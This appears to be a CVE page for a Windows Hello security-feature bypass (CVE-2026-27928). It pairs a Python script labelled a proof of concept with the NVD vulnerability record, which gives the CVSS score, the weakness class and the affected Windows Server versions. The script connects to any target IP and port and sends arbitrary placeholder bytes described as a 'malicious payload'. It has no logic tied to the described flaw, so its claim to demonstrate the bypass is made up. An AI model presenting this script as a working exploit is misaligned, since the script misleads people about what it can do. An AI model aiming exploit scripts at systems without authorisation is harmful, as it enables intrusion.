CVE-2026-27928

#!/usr/bin/env python3 # PoC for CVE-2026-27928 (Windows Hello Bypass) # This script demonstrates the concept of bypassing input validation. import socket import sys def send_exploit(target_ip, target_port): try: # Establish connection to the target service print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_ip, target_port)) # Crafted malicious payload to bypass validation # Structure: [Header][Malicious Input][Padding] header = b"\x00\x01\x02\x03" # Malicious input designed to trigger the logic flaw malicious_payload = b"\xff\xfe\xfd\xfc\x00\x00\x00\x00" payload = header + malicious_payload print("[*] Sending malicious payload...") s.send(payload) # Receive response response = s.recv(1024) print(f"[+] Received response: {response}") print("[+] Check if authentication was bypassed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 exploit.py <IP> <PORT>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit(target, port)

{"cve": {"id": "CVE-2026-27928", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:04.170", "lastModified": "2026-04-22T17:36:40.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Windows Hello allows an unauthorized attacker to bypass a security feature over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.9060", "matchCriteriaId": "982DB0CA-5196-4E42-B2F7-994BE8179715"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8644", "matchCriteriaId": "647CF9B5-8898-469B-9C09-D372A7843187"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.5020", "matchCriteriaId": "DC6837B7-5DFD-4AF7-B436-3C6FEF48BA60"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2274", "matchCriteriaId": "55A1F3AB-5299-4495-9A73-FDA23C6FD88D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32690", "matchCriteriaId": "ADF41A14-B9DA-4788-82A8-74DCDCD090E1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}